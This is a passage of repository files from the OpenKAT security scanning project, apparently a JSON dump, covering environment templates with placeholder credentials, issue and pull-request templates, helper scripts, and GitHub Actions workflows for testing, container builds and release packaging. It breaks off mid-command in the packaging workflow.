[
  {
    "path": ".dockerignore",
    "content": "*/.venv\n*/.pytest_cache\n*/__pycache__\n*/.mypy_cache\n*/.parcel-cache\n*/.git\n*/.github\n*/node_modules\n*/packaging\n*/export_migrations\n*/*.iml\n*/Dockerfile\n*/static\n"
  },
  {
    "path": ".env-defaults",
    "content": "# Container entrypoints will run database migrations if set to \"true\"\nDATABASE_MIGRATION=true\n\n# SECURITY WARNING: don't run with debug turned on in production!\nDEBUG=True\n\n# SECURITY WARNING: enable two factor authentication in production!\nTWOFACTOR_ENABLED=False\n\n# --- Endpoints --- #\nOCTOPOES_API=http://octopoes_api:80\nSCHEDULER_API=http://scheduler:8000\nKATALOGUS_API=http://katalogus:8000\nXTDB_URI=http://crux:3000\nBOEFJES_API=http://boefje:8000\n\n# Bytes uses JWT for authentication\nBYTES_API=http://bytes:8000\n\n# CVE API - defaults to public instance, works out-of-the-box.\n# For a local instance: COMPOSE_PROFILES=cveapi make kat\n# and override with BOEFJE_CVEAPI_URL=http://cveapi:8080/v1 in .env\n# See docs/source/installation-and-deployment/cveapi.rst\n# The BOEFJE_ prefix is stripped by get_environment_settings() and passed\n# to both local and containerized boefjes as CVEAPI_URL.\nBOEFJE_CVEAPI_URL=https://cveapi.librekat.nl/v1\n\n# Turn deduplication on by default\nBOEFJES_DEDUPLICATE=true\n\n# --- Rocky --- #\nDJANGO_SUPERUSER_EMAIL=superuser@localhost\nDJANGO_SUPERUSER_FULL_NAME=\"KAT Superuser\"\n\n# https://docs.openkat.nl/installation_and_deployment/hardening.html#django-allowed-hosts\nDJANGO_ALLOWED_HOSTS=127.0.0.1,localhost\n\n# https://docs.openkat.nl/installation_and_deployment/hardening.html#django-csrf-trusted-origins\nDJANGO_CSRF_TRUSTED_ORIGINS=http://localhost,http://127.0.0.1\n\n# This allows running pytest inside the container\nROCKY_DB_USER_CREATEDB=CREATEDB\n\n# This is normally False when DEBUG is true, but we override that in settings.py\n# so it possible to set DEBUG to True in production like environments.\nCOMPRESS_ENABLED=False\n"
  },
  {
    "path": ".env-dist",
    "content": "# === Notes === #\n\n# {% ... } values are generated dynamically for security reasons when this file is copied through `make env`.\n# After removing your `.env` file, you must run `make reset` to wipe the old container credentials.\n\n# `.env` overrides variables from `.env-defaults` if included\n\n# --- PostgreSQL --- #\nPOSTGRES_USER=postgres\nPOSTGRES_PASSWORD={%POSTGRES_PASSWORD}\n\n# --- RabbitMQ --- #\nRABBITMQ_DEFAULT_VHOST=kat\nRABBITMQ_DEFAULT_USER={%QUEUE_USERNAME}\nRABBITMQ_DEFAULT_PASS={%QUEUE_PASSWORD}\n\n# --- OpenTelemetry --- #\n# Uncomment to enable OpenTelemetry https://docs.openkat.nl/installation_and_deployment/localinstall.html#opentelemetry\n# SPAN_EXPORT_GRPC_ENDPOINT=http://jaeger:4317\n\n# --- Octopoes, Boefjes & Bytes shared --- #\nQUEUE_URI=amqp://${RABBITMQ_DEFAULT_USER}:${RABBITMQ_DEFAULT_PASS}@rabbitmq:5672/${RABBITMQ_DEFAULT_VHOST}\nBYTES_USERNAME={%BYTES_USERNAME}\nBYTES_PASSWORD={%BYTES_PASSWORD}\n\n### --- MODULE SPECIFIC SETTINGS --- ###\n\n# --- Rocky --- #\n# See `rocky/rocky/settings.py`\n\nDJANGO_SUPERUSER_PASSWORD={%DJANGO_SUPERUSER_PASSWORD}\n\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY={%SECRET_KEY}\n\nROCKY_DB=rocky\nROCKY_DB_USER=rocky_app\nROCKY_DB_HOST=postgres\nROCKY_DB_PORT=5432\nROCKY_DB_PASSWORD={%ROCKY_DB_PASSWORD}\n\n\n# --- Boefjes --- #\n# See `boefjes/boefjes/config.py`\n\nKATALOGUS_DB=katalogus\nKATALOGUS_DB_USER=katalogus_app\nKATALOGUS_DB_PASSWORD={%KATALOGUS_DB_PASSWORD}\nKATALOGUS_DB_URI=postgresql://${KATALOGUS_DB_USER}:${KATALOGUS_DB_PASSWORD}@postgres:5432/${KATALOGUS_DB}\n\n# --- Bytes --- #\n# See `bytes/bytes/config.py`\n\nBYTES_SECRET={%SECRET}\n\nBYTES_DB=bytes\nBYTES_DB_USER=bytes_app\nBYTES_DB_PASSWORD={%BYTES_DB_PASSWORD}\nBYTES_DB_URI=postgresql://${BYTES_DB_USER}:${BYTES_DB_PASSWORD}@postgres:5432/${BYTES_DB}\n\n\n# --- Octopoes --- #\n# See `octopoes/octopoes/config/settings.py`\n\n# --- Mula --- #\n# See `mula/scheduler/config/settings.py`\n\nSCHEDULER_DB=scheduler\nSCHEDULER_DB_USER=scheduler_app\nSCHEDULER_DB_PASSWORD={%SCHEDULER_DB_PASSWORD}\nSCHEDULER_DB_URI=postgresql://${SCHEDULER_DB_USER}:${SCHEDULER_DB_PASSWORD}@postgres:5432/${SCHEDULER_DB}\n"
  },
  {
    "path": ".env-prod",
    "content": "# `.env` overrides variables from `.env-prod` if included\n\n# If you use docker-compose.release-example.yml as base for a docker compose\n# based setup you can use this variable to define the version of OpenKAT you\n# want to use. Example value: v1.9.0\n# You can also use `latest` to use the most recently published images.\nKAT_VERSION=latest\n\n# Container entrypoints will run database migrations if set to \"true\"\nDATABASE_MIGRATION=true\n\n# SECURITY WARNING: don't run with debug turned on in production!\nDEBUG=False\n\n# SECURITY WARNING: enable two factor authentication in production!\nTWOFACTOR_ENABLED=True\n\n# --- Endpoints --- #\nOCTOPOES_API=http://octopoes_api:80\nSCHEDULER_API=http://scheduler:8000\nKATALOGUS_API=http://katalogus:8000\nXTDB_URI=http://crux:3000\nBOEFJES_API=http://boefje:8000\n\n# Bytes uses JWT for authentication\nBYTES_API=http://bytes:8000\n\n# --- Rocky --- #\nDJANGO_SUPERUSER_EMAIL=superuser@localhost\nDJANGO_SUPERUSER_FULL_NAME=\"KAT Superuser\"\n\n# https://docs.openkat.nl/installation_and_deployment/hardening.html#django-allowed-hosts\nDJANGO_ALLOWED_HOSTS=127.0.0.1,localhost\n\n# https://docs.openkat.nl/installation_and_deployment/hardening.html#django-csrf-trusted-origins\nDJANGO_CSRF_TRUSTED_ORIGINS=http://localhost,http://127.0.0.1\n"
  },
  {
    "path": ".gitattributes",
    "content": "# These settings are for any web project\n\n# Handle line endings automatically for files detected as text\n# and leave all files detected as binary untouched.\n* text=auto\n\n# Force the following filetypes to have unix eols, so Windows does not break them\n*.* text eol=lf\n\n# Windows forced line-endings\n/.idea/* text eol=crlf\n\n#\n## These files are binary and should be left untouched\n#\n\n# (binary is a macro for -text -diff)\n*.png binary\n*.jpg binary\n*.jpeg binary\n*.gif binary\n*.ico binary\n*.mov binary\n*.mp4 binary\n*.mp3 binary\n*.flv binary\n*.fla binary\n*.swf binary\n*.gz binary\n*.zip binary\n*.7z binary\n*.ttf binary\n*.eot binary\n*.woff binary\n*.pyc binary\n*.pdf binary\n*.ez binary\n*.bz2 binary\n*.swp binary\n"
  },
  {
    "path": ".github/CODEOWNERS",
    "content": "* @hasecon @cookiemonster @underdarknl\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/.gitignore",
    "content": ""
  },
  {
    "path": ".github/ISSUE_TEMPLATE/bug_report.md",
    "content": "---\nname: Bug report\nabout: Create a bug report to help us improve\ntitle: \"\"\nlabels: \"bug\"\nassignees: \"\"\n---\n\n_Please add `bug`, the name of any relevant modules (e.g. `rocky`), and any other relevant labels to your issue._\n\n**Describe the bug**\nA clear and concise description of what the bug is.\n\n**To Reproduce**\nSteps to reproduce the behavior:\n\n1. Go to '...'\n2. Click on '....'\n3. Scroll down to '....'\n4. See error\n\n**Expected behavior**\nA clear and concise description of what you expected to happen.\n\n**Screenshots**\nIf applicable, add screenshots to help explain your problem.\n\n**OpenKAT version**\nNote the release tag (and if possible: the installation method) here.\nIf it concerns an in-development version, note the branch(es) and commit hash(es) here as well.\n\n**Desktop (please complete the following information if relevant):**\n\n- OS: [e.g. iOS]\n- Browser: [e.g. chrome, safari]\n- Version: [e.g. 22]\n\n**Additional context**\nAdd any other context about the problem here.\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/config.yml",
    "content": "blank_issues_enabled: false\ncontact_links:\n  - name: KAT coordination repository\n    url: https://github.com/minvws/nl-kat-coordination\n  - name: KAT security issue reporting\n    url: https://github.com/underdarknl\n    about: If you find any serious security issues, please contact Jan Klopper (@underdarknl) directly and do NOT create a public issue.\n  - name: KAT documentation\n    url: https://minvws.github.io/nl-kat-coordination\n    about: You can find all (developer) documentation on this webpage.\n  - name: KAT security policy\n    url: https://github.com/minvws/nl-kat-coordination/security/policy\n  - name: KAT code of conduct\n    url: https://github.com/minvws/.github/blob/master/CODE_OF_CONDUCT.md\n  - name: KAT contributor agreement\n    url: https://github.com/minvws/.github/blob/master/CONTRIBUTING.md\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/feature_request.md",
    "content": "---\nname: Feature request\nabout: Suggest an idea for this project\ntitle: \"\"\nlabels: \"feature\"\nassignees: \"\"\n---\n\n_Please add one or more of the following labels to your issue:_\n`frontend` `backend` `design` `documentation` `community` `dependencies`\n\n## About this feature\n\n### Detailed description\n\n_Add detailed description of the new feature you'd like to propose. If this feature is related to a problem, what problem does it solve?_\n\n### Feature benefit/User story\n\n_Please also explain why this feature is important or necessary. What benefit does it bring to users? If possible, provide a user story format:_\n\nAs a [_type of user_], I want to [_action_] so that [_benefit_].\n\n### Specifications\n\n_Please add some specifications for the implementation. What needs to be implemented to match the design?_\n\nThe implementation should include…\n\n- [ ] Specification 1\n- [ ] Specification 2\n\n### Additional information\n\n_Any additional information, considerations, or context that might be helpful for understanding or evaluating the feature request._\n\n## Design\n\n_This part should only be filled in by the OpenKAT design team._\n\n### Screenshots\n\n_Include screenshots of the proposed design changes here._\n\n### Figma link\n\n_Link to the Figma design for further visualization (if applicable)_\n\n## Implementation\n\n_This part should only be filled in by the developers._\n\n### Possible solution\n\n_Outline your proposed solution for implementing the feature. You can include any specific ideas, designs, or functionalities here._\n\n### Alternatives considered\n\n_Describe any alternative approaches or solutions you've considered, and why you believe the proposed solution is superior._\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/user_story.md",
    "content": "---\nname: User story\nabout: Create a task that is phrased as a user story\ntitle: \"\"\nlabels: \"\"\nassignees: \"\"\n---\n\n## User Story\n\nAs a [type of user],\nI want [some goal or desired outcome],\nso that [some reason or benefit].\n\n## Acceptance Criteria:\n\n- [List specific conditions or criteria that must be met for the story to be considered complete.]\n"
  },
  {
    "path": ".github/dependabot.yml",
    "content": "# To get started with Dependabot version updates, you'll need to specify which\n# package ecosystems to update and where the package manifests are located.\n# Please see the documentation for all configuration options:\n# https://docs.github.com/github/administering-a-repository/configuration-options-for-dependency-updates\n\nversion: 2\nupdates:\n  - package-ecosystem: \"uv\" # See documentation for possible values\n    directory: \"/\" # Location of package manifests\n    schedule:\n      interval: \"weekly\"\n    ignore:\n      - dependency-name: \"*\"\n        update-types: [\"version-update:semver-minor\"]\n  - package-ecosystem: \"github-actions\"\n    directory: \"/\"\n    schedule:\n      interval: \"monthly\"\n"
  },
  {
    "path": ".github/pull_request_template.md",
    "content": "### Changes\n\n_Please describe the essence of this PR in a few sentences. Mention any breaking changes or required configuration steps._\n\n### Issue link\n\n_You have to create an issue to link to this PR. If this really is not possible, write a very detailed description here and add this PR to the project board directly._\n\n_Please add the link to the issue after \"Closes\"._\n\nCloses ...\n\n### Demo\n\n_Please add some proof in the form of screenshots or screen recordings to show (off) new functionality, if there are interesting new features for end-users._\n\n### QA notes\n\n_Please add some information for QA on how to test the newly created code._\n\n---\n\n### Code Checklist\n\n<!--- Mandatory: --->\n\n- [ ] All the commits in this PR are properly PGP-signed and verified.\n- [ ] This PR only contains functionality relevant to the issue.\n- [ ] I have written unit tests for the changes or fixes I made.\n- [ ] I have checked the documentation and made changes where necessary.\n- [ ] I have performed a self-review of my code and refactored it to the best of my abilities.\n\n<!--- If applicable: --->\n\n- [ ] Tickets have been created for newly discovered issues.\n- [ ] For any non-trivial functionality, I have added integration and/or end-to-end tests.\n- [ ] I have informed others of any required `.env` changes files if required and changed the `.env-dist` accordingly.\n- [ ] I have included comments in the code to elaborate on what is not self-evident from the code itself, including references to issues and discussions online, or implicit behavior of an interface.\n\n---\n\n## Checklist for code reviewers:\n\nCopy-paste the checklist from [the docs/source/developer-documentation/contributor/templates folder](https://github.com/minvws/nl-kat-coordination/blob/main/docs/source/developer-documentation/contributor/templates/pull_request_template_review_code.md) into your comment.\n\n---\n\n## Checklist for QA:\n\nCopy-paste the checklist from [the docs/source/developer-documentation/contributor/templates folder](https://github.com/minvws/nl-kat-coordination/blob/main/docs/source/developer-documentation/contributor/templates/pull_request_template_review_qa.md) into your comment.\n"
  },
  {
    "path": ".github/scripts/commit_sign_push.sh",
    "content": "#!/bin/bash\n\n#GITHUB_TOKEN should be ${{ secrets.GITHUB_TOKEN }}\n#DESTINATION_BRANCH should be ${{ github.ref }}\n\nFILES=$(git diff --name-only)\nfor FILE in $FILES; do\n    SHA=$(git rev-parse \"$DESTINATION_BRANCH\":\"$FILE\")\n    gh api --method PUT /repos/:owner/:repo/contents/\"$FILE\" \\\n        --field message=\"Update $FILE\" \\\n        --field content=@<(base64 -i \"$FILE\") \\\n        --field branch=\"$DESTINATION_BRANCH\" \\\n        --field sha=\"$SHA\"\ndone\n"
  },
  {
    "path": ".github/scripts/coverage_file_fixer.py",
    "content": "#!/usr/bin/env python\n\n\n# This script fixes the filename attribute in a coverage.xml file for SonarCloud coverage analysis\n# These filenames should be relative to the base dir and not the coverage source directory\n\n\nimport argparse\nimport xml.etree.ElementTree as etree\nfrom pathlib import Path\n\n\ndef path_prefixer(file: Path, prefix: Path) -> None:\n    xml = file.read_text()\n    root = etree.fromstring(xml)  # noqa: S314\n\n    for element in root.findall(\".//*[@filename]\"):\n        filename = element.get(\"filename\")\n        if filename is not None:\n            element.set(\"filename\", prefix.joinpath(filename).as_posix())\n\n    file.write_text(etree.tostring(root).decode())\n\n\ndef main():\n    parser = argparse.ArgumentParser(description=\"Prefix paths in coverage.xml files\")\n    parser.add_argument(\"file\", type=Path, help=\"Path to the coverage.xml file.\")\n    parser.add_argument(\"prefix\", type=Path, help=\"Path to prefix the filenames with.\")\n    args = parser.parse_args()\n\n    path_prefixer(Path(args.file), Path(args.prefix))\n\n\nif __name__ == \"__main__\":\n    main()\n"
  },
  {
    "path": ".github/workflows/boefjes-tests.yml",
    "content": "name: Boefjes Test (with coverage)\n\non:\n  workflow_call:\n\njobs:\n  unit-tests:\n    runs-on: ubuntu-24.04\n\n    steps:\n      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n\n      - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0\n        with:\n          python-version: \"3.13\"\n          cache: \"pip\" # caching pip dependencies\n\n      - name: Install pip\n        run: python3 -m pip install --upgrade pip wheel\n\n      - name: Install dev requirements\n        run: grep -v git+https:// requirements-dev.txt | pip install -r /dev/stdin && grep git+https:// requirements-dev.txt | pip install -r /dev/stdin\n        working-directory: boefjes/\n\n      - name: Install plugin requirements\n        run: find boefjes/plugins/ -name requirements.txt -execdir pip install -r requirements.txt \\;\n        working-directory: boefjes/\n\n      - name: Install Octopoes\n        run: cd octopoes && python setup.py bdist_wheel && pip install dist/octopoes*.whl\n\n      - name: Run tests\n        run: python3 -m pytest --cov boefjes/ --cov-report xml --cov-branch tests/\n        working-directory: boefjes/\n\n      - name: Upload coverage as artifact\n        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1\n        with:\n          name: boefjes-coverage-unit\n          path: boefjes/.coverage\n          include-hidden-files: true\n\n  integration-tests:\n    runs-on: ubuntu-24.04\n\n    steps:\n      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n\n      - name: Run integration tests\n        run: make itest\n        working-directory: boefjes/\n\n      - name: Upload coverage as artifact\n        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1\n        with:\n          name: boefjes-coverage-integration\n          path: boefjes/.coverage\n          include-hidden-files: true\n\n  coverage:\n    runs-on: ubuntu-24.04\n    needs:\n      - unit-tests\n      - integration-tests\n\n    steps:\n      - name: Checkout code\n        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n\n      - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0\n        with:\n          python-version: \"3.13\"\n          cache: \"pip\" # caching pip dependencies\n\n      - name: Install coverage\n        run: pip install coverage[toml]\n\n      - name: Download coverage artifacts\n        uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1\n        with:\n          pattern: boefjes-coverage-*\n\n      - name: Merge and generate coverage report\n        run: |\n          coverage combine ../**/.coverage\n          coverage report\n          coverage xml --ignore-errors\n        working-directory: boefjes/\n\n      - name: Upload coverage as artifact\n        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1\n        with:\n          name: boefjes-coverage\n          path: boefjes/coverage.xml\n"
  },
  {
    "path": ".github/workflows/boefjes_container_image.yml",
    "content": "name: Boefjes Create container image\n\non:\n  push:\n    branches:\n      - \"main\"\n      - \"release-*\"\n    tags:\n      - \"*\"\n    paths:\n      - boefjes/**\n      - octopoes/**\n      - .github/workflows/boefjes_container_image.yml\n  pull_request:\n    paths:\n      - boefjes/**\n      - octopoes/**\n      - .github/workflows/boefjes_container_image.yml\n\njobs:\n  create_container_image:\n    permissions:\n      contents: read\n      packages: write\n    runs-on: ubuntu-24.04\n    steps:\n      - name: Checkout code\n        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n\n      - name: Docker meta\n        id: meta\n        uses: docker/metadata-action@030e881283bb7a6894de51c315a6bfe6a94e05cf # v6.0.0\n        with:\n          images: |\n            docker.underdark.nl/librekat/openkat-boefjes\n          tags: |\n            type=ref,event=branch\n            type=ref,event=tag\n            type=ref,event=pr\n\n      - name: Set up Docker Buildx\n        uses: docker/setup-buildx-action@4d04d5d9486b7bd6fa91e7baf45bbb4f8b9deedd # v4.0.0\n        id: buildx\n\n      - name: Login to Librekat Container Registry\n        if: github.event_name == 'push' || github.event.pull_request.head.repo.owner.login == github.event.pull_request.base.repo.owner.login\n        uses: docker/login-action@b45d80f862d83dbcd57f89517bcf500b2ab88fb2 # v4.0.0\n        with:\n          registry: docker.underdark.nl\n          username: ${{ secrets.librekat_user }}\n          password: ${{ secrets.librekat_password }}\n\n      - name: Generate version.py\n        run: |\n          pip install setuptools-scm==7.1.0\n          python -m setuptools_scm\n          cp _version.py boefjes/boefjes/version.py\n          cp _version.py boefjes/boefjes/katalogus/version.py\n\n      - name: Build container image\n        uses: docker/build-push-action@bcafcacb16a39f128d818304e6c9c0c18556b85f # v7.1.0\n        with:\n          # We don't use git context because that doesn't process .dockerignore\n          # https://github.com/docker/cli/issues/2827\n          context: .\n          file: boefjes/Dockerfile\n          push: ${{ github.event_name == 'push' || github.event.pull_request.head.repo.owner.login == github.event.pull_request.base.repo.owner.login }}\n          tags: ${{ steps.meta.outputs.tags }}\n          labels: ${{ steps.meta.outputs.labels }}\n          cache-from: type=gha\n          cache-to: type=gha,mode=max\n"
  },
  {
    "path": ".github/workflows/boefjes_tests.yml",
    "content": "name: Boefjes Run the test suite\n\non:\n  push:\n    branches:\n      - \"main\"\n      - \"release-*\"\n    tags:\n      - \"*\"\n    paths:\n      - boefjes/**\n      - octopoes/**\n      - .github/workflows/boefjes_tests.yml\n  pull_request:\n    paths:\n      - boefjes/**\n      - octopoes/**\n      - .github/workflows/boefjes_tests.yml\n\njobs:\n  Tests:\n    permissions:\n      contents: read\n    strategy:\n      fail-fast: false\n      matrix:\n        version: [\"3.10\", \"3.11\", \"3.12\", \"3.13\"]\n\n    runs-on: ubuntu-24.04\n    env:\n      COMPOSE_FILE: .ci/docker-compose.yml\n\n    steps:\n      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n\n      - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0\n        with:\n          python-version: ${{ matrix.version }}\n          cache: \"pip\" # caching pip dependencies\n\n      - name: Install pip\n        run: python3 -m pip install --upgrade pip\n\n      - name: Install dev requirements\n        run: grep -v git+https:// requirements-dev.txt | pip install -r /dev/stdin && grep git+https:// requirements-dev.txt | pip install -r /dev/stdin\n        working-directory: ./boefjes\n\n      - name: Install requirements\n        run: find . -name requirements.txt | xargs -L 1 pip install -r\n        working-directory: ./boefjes\n\n      - name: Install Octopoes\n        run: pip install wheel && cd octopoes && python setup.py bdist_wheel && pip install dist/octopoes*.whl\n\n      - name: Run pytests\n        run: python3 -m pytest\n        working-directory: ./boefjes\n\n      - name: Run integration tests\n        run: make itest build_args='--build-arg PYTHON_VERSION=${{ matrix.version }}'\n        working-directory: ./boefjes\n"
  },
  {
    "path": ".github/workflows/build-debian-docker-image.yml",
    "content": "name: Create and publish Docker image for building Debian packages\n\non:\n  workflow_dispatch: {}\n  push:\n    branches:\n      - \"main\"\n    paths:\n      - \"packaging\"\n      - \".github/workflows/build-debian-docker-image.yml\"\n  pull_request:\n    paths:\n      - \"packaging/**\"\n      - \".github/workflows/build-debian-docker-image.yml\"\n\nenv:\n  REGISTRY: docker.underdark.nl\n\njobs:\n  build-debian-image:\n    strategy:\n      matrix:\n        dist: [debian12, ubuntu22.04]\n    runs-on: ubuntu-24.04\n    permissions:\n      contents: read\n      packages: write\n\n    steps:\n      - name: Checkout repository\n        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n\n      - name: Log in to the Container registry\n        uses: docker/login-action@b45d80f862d83dbcd57f89517bcf500b2ab88fb2 # v4.0.0\n        with:\n          registry: docker.underdark.nl\n          username: ${{ secrets.librekat_user }}\n          password: ${{ secrets.librekat_password }}\n\n      - name: Extract metadata (tags, labels) for Docker\n        id: meta\n        uses: docker/metadata-action@030e881283bb7a6894de51c315a6bfe6a94e05cf # v6.0.0\n        with:\n          images: |\n            docker.underdark.nl/librekat/openkat-${{ matrix.dist }}-build-image\n          tags: |\n            type=ref,event=branch\n            type=ref,event=tag\n            type=ref,event=pr\n            type=raw,value=latest,enable={{is_default_branch}}\n            type=sha\n\n      - name: Build and push Docker image\n        uses: docker/build-push-action@bcafcacb16a39f128d818304e6c9c0c18556b85f # v7.1.0\n        with:\n          context: ./packaging/${{ matrix.dist }}\n          push: true\n          tags: ${{ steps.meta.outputs.tags }}\n          labels: ${{ steps.meta.outputs.labels }}\n"
  },
  {
    "path": ".github/workflows/build-rdo-package.yml",
    "content": "name: Build RDO packages\n\nconcurrency:\n  group: ${{ github.ref }}\n  cancel-in-progress: true\n\non:\n  push:\n    tags:\n      - v*\n  workflow_dispatch:\n\nenv:\n  PKGDIR: /home/runner/work/nl-kat-coordination\n\njobs:\n  build:\n    runs-on: ubuntu-22.04\n    permissions:\n      contents: write\n      packages: write\n    strategy:\n      matrix:\n        python_version: [\"3.11\"]\n\n    # Generic bits\n    steps:\n      - name: Prep Set env\n        run: echo \"RELEASE_VERSION=${GITHUB_REF#refs/*/}\" >> $GITHUB_ENV\n\n      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n\n      - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0\n        with:\n          python-version: ${{ matrix.python_version }}\n          cache: \"pip\"\n\n      - name: Prep Install requirements\n        run: sudo apt install gettext -y\n\n      - name: Prep Replace version number with release version\n        run: find . -type f -name 'version.py' -exec sed -ibak \"s/__version__ = .*/__version__ = \\\"${RELEASE_VERSION}\\\"/\" {} \\;\n\n      - name: Prep Configure git\n        run: git config --global url.\"https://github.com/\".insteadOf \"ssh://git@github.com/\"\n\n      # Octopoes\n      - name: Octopoes Create /var/lib/html\n        run: sudo rm -rfv /var/lib/html; sudo mkdir -p /var/www/html ; sudo chown `id -u`:`id -g` /var/www/html\n\n      - name: Octopoes copy project to run location.\n        run: cp -rv * /var/www/html\n        working-directory: ./octopoes\n\n      - name: Octopoes Create env\n        run: python${{ matrix.python_version }} -m venv /var/www/html/.venv\n\n      - name: Octopoes Install requirements\n        run: cd /var/www/html; source .venv/bin/activate; pip install --upgrade pip; pip install --requirement requirements.txt\n\n      - name: Octopoes Create venv archive\n        run: tar -zcvf ${{ env.PKGDIR }}/octopoes_venv_${{ env.RELEASE_VERSION }}_python${{ matrix.python_version }}.tar.gz -C /var/www/html/ .venv\n\n      - name: Octopoes Enable production logging config\n        run: mv prod.logging.yml logging.yml\n        working-directory: ./octopoes\n\n      - name: Octopoes Create Octopoes release\n        run: tar -cvzf ${{ env.PKGDIR }}/octopoes_${{ env.RELEASE_VERSION }}.tar.gz .\n        working-directory: ./octopoes\n\n      - name: Octopoes Build Octopoes wheel\n        run: cd octopoes && /usr/bin/python3 setup.py bdist_wheel\n\n      - name: Octopoes Cleanup\n        run: sudo rm -rfv /var/www/html/\n\n      # Rocky\n      - name: Rocky Create /var/lib/html\n        run: sudo rm -rfv /var/lib/html; sudo mkdir -p /var/www/html ; sudo chown `id -u`:`id -g` /var/www/html\n\n      - name: Rocky copy project to run location.\n        run: cp -rv * /var/www/html\n        working-directory: ./rocky\n\n      - name: Rocky Create env\n        run: python${{ matrix.python_version }} -m venv /var/www/html/.venv\n\n      - name: Rocky Install requirements\n        run: cd /var/www/html; source .venv/bin/activate; pip install --upgrade pip; grep -v git+https:// requirements.txt | pip install -r /dev/stdin ; grep git+https:// requirements.txt | pip install -r /dev/stdin; pip install --no-deps ${{ github.workspace }}/octopoes/dist/octopoes*.whl\n\n      - name: Rocky Create rocky_venv tarball\n        run: tar -zcvf ${{ env.PKGDIR }}/rocky_venv_${{ env.RELEASE_VERSION }}_python${{ matrix.python_version }}.tar.gz -C /var/www/html/ .venv\n\n      - name: Rocky Run nvm install\n        run: nvm install v16\n        shell: bash --login {0}\n        working-directory: ./rocky\n\n      - name: Rocky Run nvm use\n        run: nvm use\n        shell: bash --login {0}\n        working-directory: ./rocky\n\n      - name: Rocky Run yarn for rocky\n        run: yarn\n        shell: bash --login {0}\n        working-directory: ./rocky\n\n      - name: Rocky Run yarn build for rocky\n        run: yarn build\n        shell: bash --login {0}\n        working-directory: ./rocky\n\n      - name: Rocky Compilemessages\n        run: /var/www/html/.venv/bin/python${{ matrix.python_version }} manage.py collectstatic && /var/www/html/.venv/bin/python${{ matrix.python_version }} manage.py compilemessages\n        working-directory: ./rocky\n        env:\n          BYTES_API: http://bytes:8000\n          BYTES_PASSWORD: password\n          BYTES_USERNAME: username\n          KATALOGUS_API: http://katalogus:8000\n          OCTOPOES_API: http://octopoes_api:80\n          SCHEDULER_API: http://scheduler:8000\n          SECRET_KEY: whatever\n\n      - name: Rocky Create rocky release\n        run: tar -cvzf ${{ env.PKGDIR }}/rocky_${{ env.RELEASE_VERSION }}.tar.gz --exclude node_modules --exclude rocky_venv* --exclude=.git* --exclude .parcel-cache --exclude Dockerfile .\n        working-directory: ./rocky\n\n      # Bytes\n      - name: Bytes Create /var/lib/html\n        run: sudo rm -rfv /var/lib/html; sudo mkdir -p /var/www/html ; sudo chown `id -u`:`id -g` /var/www/html\n\n      - name: Bytes copy project to run location.\n        run: cp -rv * /var/www/html\n        working-directory: ./bytes\n\n      - name: Bytes Create env\n        run: python${{ matrix.python_version }} -m venv /var/www/html/.venv\n\n      - name: Bytes Install requirements\n        run: cd /var/www/html; source .venv/bin/activate; pip install --upgrade pip; pip install --requirement requirements.txt\n\n      - name: Bytes Create bytes release\n        run: tar -cvzf ${{ env.PKGDIR }}/bytes_${{ env.RELEASE_VERSION }}.tar.gz --exclude=./.git* .\n        working-directory: ./bytes\n\n      - name: Bytes Create bytes venv package\n        run: tar -zcvf ${{ env.PKGDIR }}/bytes_venv_${{ env.RELEASE_VERSION }}_python${{ matrix.python_version }}.tar.gz -C /var/www/html/ .venv\n\n      # Mula / Scheduler\n      - name: Mula Create /var/lib/html\n        run: sudo rm -rfv /var/lib/html; sudo mkdir -p /var/www/html ; sudo chown `id -u`:`id -g` /var/www/html\n\n      - name: Mula copy project to run location.\n        run: cp -rv * /var/www/html\n        working-directory: ./mula\n\n      - name: Mula Create env\n        run: python${{ matrix.python_version }} -m venv /var/www/html/.venv\n\n      - name: Create scheduler release archive\n        run: tar -cvzf ${{ env.PKGDIR }}/scheduler_${{ env.RELEASE_VERSION }}.tar.gz --exclude=./.git* --exclude=Makefile --exclude=Dockerfile --exclude=requirements* --exclude=tests .\n        working-directory: ./mula\n\n      - name: Create virtual env\n        run: python${{ matrix.python_version }} -m venv /var/www/html/.venv\n\n      - name: Install requirements\n        run: source .venv/bin/activate; pip install --upgrade pip; pip install --requirement requirements.txt\n        working-directory: /var/www/html\n\n      - name: Create venv archive\n        run: tar -zcvf ${{ env.PKGDIR }}/scheduler_venv_${{ env.RELEASE_VERSION }}_python${{ matrix.python_version }}.tar.gz -C /var/www/html/ .venv\n\n      # Boefjes\n      - name: Boefjes Create /var/lib/html\n        run: sudo rm -rfv /var/lib/html; sudo mkdir -p /var/www/html ; sudo chown `id -u`:`id -g` /var/www/html\n\n      - name: Boefjes copy project to run location.\n        run: cp -rv * /var/www/html\n        working-directory: ./boefjes\n\n      - name: Boefjes Create env\n        run: python${{ matrix.python_version }} -m venv /var/www/html/.venv\n\n      - name: Install requirements\n        run: source .venv/bin/activate; pip install --upgrade pip; grep -v git+https:// requirements.txt | pip install -r /dev/stdin ; grep git+https:// requirements.txt | pip install -r 